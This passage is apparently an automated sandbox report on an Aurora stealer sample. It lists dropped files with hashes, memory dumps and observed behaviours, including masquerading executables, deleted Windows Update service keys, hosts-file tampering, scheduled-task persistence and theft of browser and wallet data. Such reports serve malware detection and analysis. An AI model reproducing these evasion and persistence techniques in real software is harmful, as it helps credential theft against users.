memory/540-179-0x00000000026DB000-0x0000000002712000-memory.dmp

memory/872-180-0x0000000000620000-0x0000000000626000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

memory/1964-184-0x0000000002C10000-0x0000000002C20000-memory.dmp

memory/832-185-0x0000000002BA0000-0x0000000002BA2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

memory/976-188-0x0000000140000000-0x0000000140029000-memory.dmp

memory/976-190-0x0000000140000000-0x0000000140029000-memory.dmp

memory/976-191-0x0000000077410000-0x00000000775B9000-memory.dmp

memory/976-192-0x00000000772F0000-0x000000007740F000-memory.dmp

memory/976-193-0x0000000140000000-0x0000000140029000-memory.dmp

memory/416-196-0x00000000007B0000-0x00000000007D1000-memory.dmp

memory/416-197-0x00000000007B0000-0x00000000007D1000-memory.dmp

memory/416-199-0x00000000007E0000-0x0000000000807000-memory.dmp

memory/416-201-0x000007FEBD780000-0x000007FEBD790000-memory.dmp

memory/416-202-0x00000000007E0000-0x0000000000807000-memory.dmp

memory/416-203-0x0000000037450000-0x0000000037460000-memory.dmp

memory/1880-205-0x0000000001E70000-0x0000000002374000-memory.dmp

memory/1880-206-0x0000000001D00000-0x0000000001E3D000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

MD5 d44b149a6460b864ad0db03f2b6482e8
SHA1 28cdbc5813e30fe7872126351688d615b0fd957c
SHA256 737831d0d5a19b78699f3cf1aa4a245cb8b1cb87c0a67f0c037dd5bea022d261
SHA512 94d15980ca770f839728c7cfabb0a62665fd41397160fc13d80003e3315dc195dc5dcbf628dc3aec8bb4b07fb7880113f373846db4e4556c34359b8421c5a761

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

MD5 f3d012cc73538be9c7d776e27579f5b0
SHA1 7cbf2d66f8e5abb6d535fd4d18c417e5b4b7cb13
SHA256 46bae8925ddeeca693b58c8f432c6707a211411c64cb0c54312796b85e6f44d0
SHA512 0d93466ffa095cc7343daea8e546b7259491c02b3d19bb4614f213f9e3fbf7f89d0049b4f104494d06db8e5fafa5432154aa0fe761a2c878510f5418d2261264

memory/1512-346-0x0000000000F70000-0x0000000000FB0000-memory.dmp

memory/1512-353-0x0000000000F70000-0x0000000000FB0000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_8E367579E3D17004320AD51DAC7419D5

MD5 a23c02395db35b23415f9166f0bf1ef7
SHA1 48493c7a9f3e53bba12610e18b6af6830402d9bf
SHA256 0fb0e3186d0e703f1c5e85076234c223b186ffca73b97b8fbefccaf15d679081
SHA512 105ee74ad377ee3022b41bf66ef8d2a90927dfa7cba3be640c849d9b7f0b3090f91ac42faab7f5373f4e03723d5738f9d29bed0afb4b2755e825683787fe6b7f

C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\z62wpf5\imagestore.dat

MD5 515f29a3a7c16751adda8e41292a4e1c
SHA1 8350b7b34b8c5179e085ff27330be72cf8fd2394
SHA256 711f41d96c22db115cbec7a862801fb4cf764705a2438c0ed50f7b7bf6e3c444
SHA512 2e134f243781157e12478d40e23961ef76d92a04f2af634b99a00f3c75d4c16040f28f0fb51dc5eb37151cc0e382bfc1c8c6b2cd693f84629e4b54223c6ed34c

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\KTB503AZ\favicon[1].ico

MD5 4b60c29a42054472e32027837927ca74
SHA1 79a2a8129504e552e963b839a6077463919a43c2
SHA256 63536e25780b8fe91431939c38d26f96defca042b8c0ba587797b693e64a0d7c
SHA512 04ebbc0cf7d36c0f13570ab762be07d0ca8ad7f0e3d3622875e4cf637d33cb14b183bcdb52e4efcedb34dca8ac5e1ba62d1d1fd75fe0c74850c6667b5805f067

memory/832-420-0x000000007EF10000-0x000000007EF20000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 e661630bec6e5ff52d10a89f8ddf6ff4
SHA1 9911f0e58d92f3b8cdbc4ac21a1c053126adf79b
SHA256 5a494004eb35986e229f4f510367bbd7897c3656680c9141b055815e63fe674b
SHA512 6b6411a79d256b4695b99842ee36689fd60e5d66c7b7acb56ebdb241a2739429946d018b7eab7fada1941177d6dc685a0d0028ee8efb21fef41aa506eedfb697

C:\Users\Admin\AppData\Local\Temp\CabAD43.tmp

MD5 fc4666cbca561e864e7fdf883a9e6661
SHA1 2f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5
SHA256 10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b
SHA512 c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d

C:\Users\Admin\AppData\Local\Temp\TarAD44.tmp

MD5 73b4b714b42fc9a6aaefd0ae59adb009
SHA1 efdaffd5b0ad21913d22001d91bf6c19ecb4ac41
SHA256 c0cf8cc04c34b5b80a2d86ad0eafb2dd71436f070c86b0321fba0201879625fd
SHA512 73af3c51b15f89237552b1718bef21fd80788fa416bab2cb2e7fb3a60d56249a716eda0d2dd68ab643752272640e7eaaaf57ce64bcb38373ddc3d035fb8d57cd

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 ff238a9a47e7abb5aa154f108177efb7
SHA1 d02fab65500591f5c2ba92c5b629f8506b99e98e
SHA256 e4814ce623289ef4dbf6fbe5b5817e41b15c3735d4659655fe446b6384923d09
SHA512 276b593492c893413c84da8bb00bf2afc20672cfc1d97dde61998c61df5a3a38e2c9c19311431b74f7ff6900954b78ba62f07f435b83a30c048179c407c0115c

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 f56049fd2a9375940df89081ce08204d
SHA1 4249c2eaef8d49829470171510341f9039750e6c
SHA256 ea9b68e8800b20cccefed5e531add4f58b07616ad32b74bc2e8d41987838acd6
SHA512 801a0273991973bd2e54634c80563ba0ef8ae79c287f010a1a992cfc0d035a4bf0e1919bbf28c16b78314e46bd4dbbaa5f20bfb119c71390493465e2c7809087

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 ce0fa91a86c69250e193ac3b11ce6144
SHA1 d8084ffed2ca2cbae67ef1409a851d409a285aa8
SHA256 868233333f63a593b5ed8d93a6949056306b6bb6bdc61376baa4b3b90bec7af3
SHA512 aa9dc091575076853e8c624ebb50198577c69b2ac8dee35ab934e298bc98de8054bbc36b1e0c090241d26e1ad2a5dd412324f8e286c3a27a7f968c5fa1523e71

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 1cd9d9e983ecdf15fc778dff5bc14454
SHA1 583c828dfa0fd9ee625860d7c3f0859cf3dabaa7
SHA256 8fdef92b88bf0be0e7f1fcbc5817e45b8bb82a36c4861fe2a3efa593fb9867ce
SHA512 749a7297427ca5060ac4b24df42ab6b66a214cc3baadbe715f6a65c50d91ae87d47e9131fd69aed1578534af2f54bcbae63767e8222702765932625c9d261c87

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 e5323648322cb01b33c3de2e1b082390
SHA1 119f755811567445aa9d14c3775db187e6493831
SHA256 eea55506a983e3df5e4a23b4a38858e4bcd27a60655eab6f933349b23d3bbbde
SHA512 6d6ea22a0c6bfc5b8eee2b1fb61d97e471e7ce7f4938eeca4b59890df502a8a8d368790d978f187c7b9fee80e27892a709daeabb501149f45391d0dd04276c79

memory/416-619-0x00000000007E0000-0x0000000000807000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 5d0dbd432fd6a627351519be2f8103a1
SHA1 8be7fd49f1e73e6adf72dcc8817306022014ba6b
SHA256 d8357123b7fa23954f344cc9bfc764fa536b0c26d47ee13508b8ae92722bdecd
SHA512 190f2a520897ed3775ee07253629244ea81c94f44b374548fd9b25cf613175ff21928e16494d59af60f4ea118e10e0cf9915fa9f0714226a6a06823bed99c4fa

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 d10b9ec8e033d9198b8a8ade0c09dce6
SHA1 a8c1132b8160e534a164ffe332bd99fb76fab612
SHA256 d68e2e7546efd1ca34528499cad66bd5d9d0ddc5fb90b98bb978f9a47415d6e5
SHA512 d433f1f14cac10a94a0fe184ea109539873ea5f1602669bda5f19b613c99329698b2b815641b8e913d3fd6160ee711fd91fa8878dbd7bec7bb5bc372cd57967c

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 54b33dd0592a0f3cdb076ac6580affe1
SHA1 afb30cdc713196c2f2666f7e2c7fd693ce57a63b
SHA256 b0f5caae41c7498b34a83710e2c957d21b6bce4727e4769e69384857e4a88c3a
SHA512 e8f8757d1344d77dc0f2c3491231bfefea8bdeef3cf6fd5236e423aee647111356fdfb6f027709184c34de159b3934b030216ee67ed3f892d8c33d356a014dd8

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 a5d2c6dac1957b7886e2b09e54f0f8e4
SHA1 d2b8dd6c84d4a036d21be249a5d24c2442077755
SHA256 621d559a898d55c70f050634f8f566f4ae918f4499e8c0b69d58fd274daf0527
SHA512 8f8c53796b7476ffb365683f46113d0c4736fa277cd5701bcedfc444d49aacc4b614bab088202ac3c22bb93f7191a0364e6ec536bf624a226e6e77dd3d929daf

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\R1NL7SFW.txt

MD5 fe937594e5ed94893ea8c81a8f32ebfa
SHA1 2c3b48be0e25881b206620b2777f82b5e3d8bd22
SHA256 be890e68803e2409db673d7c8722a2842e401f54dc6aed1d2e246b2ab6de8835
SHA512 7ae8844de30165f689fc566cfb4ac4fe943ca0a522acf35241abe7c0095afe37fe098002e1ba17397770916b3d6194501f9877ca24f5a966c564bb4a33214306

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\CMIDRLTB\suggestions[1].en-US

MD5 5a34cb996293fde2cb7a4ac89587393a
SHA1 3c96c993500690d1a77873cd62bc639b3a10653f
SHA256 c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
SHA512 e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

memory/1880-880-0x00000000002D0000-0x00000000002D6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\~DFCFC1CA9C05CF81BD.TMP

MD5 4b872f7a6343e3e8c332de68d05593c6
SHA1 dea18bce3e8144acc40c96678704b830704aa913
SHA256 5a776846de8f6117d0f60a3ea025f11a4125a72a9ac63d553887a58aaf7af145
SHA512 f48d3114594ece07ff934be6a86316e2be770e33f2e73e053a29fa3b95493add380d80b5f72aca2be1375d3defc1149f8fd6ab2de92d06cf5171391b3b055e19

Analysis: behavioral2

Detonation Overview

Submitted

2023-02-22 07:28

Reported

2023-02-22 07:33

Platform

win10v2004-20230221-en

Max time kernel

36s

Max time network

87s

Command Line

C:\Windows\Explorer.EXE

Signatures

Aurora

stealer aurora

Modifies security service

evasion
Description Indicator Process Target
Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters C:\Windows\System32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security C:\Windows\System32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 C:\Windows\System32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 C:\Windows\System32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo C:\Windows\System32\reg.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Drops file in Drivers directory

Description Indicator Process Target
File created C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A

Stops running service(s)

evasion

Reads user/profile data of web browsers

spyware stealer

Uses the VBS compiler for execution

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Legitimate hosting services abused for malware hosting/C2

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\C4Loader.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
